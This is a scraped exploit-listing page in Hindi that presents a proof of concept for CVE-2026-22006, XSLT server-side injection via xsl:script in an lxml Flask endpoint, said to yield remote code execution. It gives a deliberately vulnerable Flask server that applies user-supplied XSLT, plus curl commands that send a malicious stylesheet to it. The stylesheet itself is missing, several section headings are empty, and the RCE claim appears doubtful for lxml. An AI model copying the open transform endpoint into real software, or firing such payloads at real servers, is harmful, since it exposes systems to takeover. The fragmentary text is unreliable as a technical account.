CVE-2026-22006-XSLT-Server-Side-Injection-via-xsl-script- — CVE-2026-22006 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो lxml Flask एंडपॉइंट में xsl:script के माध्यम से XSLT सर्वर-साइड इंजेक्शन का प्रदर्शन करता है, ताकि रिमोट कोड निष्पादन प्राप्त किया जा सके। | Kitploit

साझा करें

CVE-2026-22006 – `xsl:script` के माध्यम से XSLT सर्वर‑साइड इंजेक्शन

प्रोग्राम कोड (Python + XSLT)

# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request

app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
    xml = request.form['xml']
    xslt = request.form['xslt']
    xml_doc = etree.fromstring(xml.encode())
    xslt_doc = etree.fromstring(xslt.encode())
    transform = etree.XSLT(xslt_doc)
    result = transform(xml_doc)
    return str(result)

if __name__ == '__main__':
    app.run(port=5000)

CVE-2026-22006 – के माध्यम से XSLT सर्वर‑साइड इंजेक्शन

xsl:script

सर्वर प्रारंभ करें:
```
pip install flask lxml
python xslt_server.py
```
XML के साथ एक दुर्भावनापूर्ण XSLT भेजें:
```
curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
```

CVE-2026-22006-XSLT-Server-Side-Injection-via-xsl-script-

सबसे लोकप्रिय

अवलोकन

भेद्यता विवरण

शोषण प्रदर्शन